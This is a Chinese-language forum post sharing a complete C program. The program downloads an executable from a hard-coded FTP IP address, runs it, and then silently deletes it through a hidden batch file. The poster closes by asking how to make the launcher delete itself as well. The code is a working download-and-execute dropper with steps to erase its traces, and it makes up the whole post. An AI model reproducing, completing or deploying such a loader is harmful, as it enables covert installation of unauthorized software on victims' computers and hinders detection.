回复:(雨中飞燕)最简单的方法:生成的一bat文件,用...
//文件名--myopen.c
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<urlmon.h>
#include<process.h>
#include<Shellapi.h>
#pragma comment (lib,"Urlmon.lib")
int main()
{
//下载"open.exe"到"C:\\open.exe"
URLDownloadToFile(NULL,"
ftp://123.10.54.104/open.exe","C:\\open.exe",0,NULL);
//运行"C:\\open.exe"
ShellExecute(0,"open","C:\\open.exe",NULL,NULL,SW_SHOW);
char str[]={"del /f /q C:\\open.exe"};
char ch; FILE *fp;
if((fp=fopen("C:\\myclear.bat","w+"))==NULL)
{
exit(0);
}
for(int i=0;(ch=str[i])!='\0';i++)
{
fputc(ch,fp);
}
fclose(fp);
//运行批处理文件"myclear.bat"---删掉"open.exe"
WinExec("C:\\myclear.bat",SW_HIDE);
return 0;
}
最后怎么把"myopen.exe"也删掉呢?"myopen.exe"的路径不确定呀,我不知道"myopen.exe"它在那个盘呢
请前辈指点一下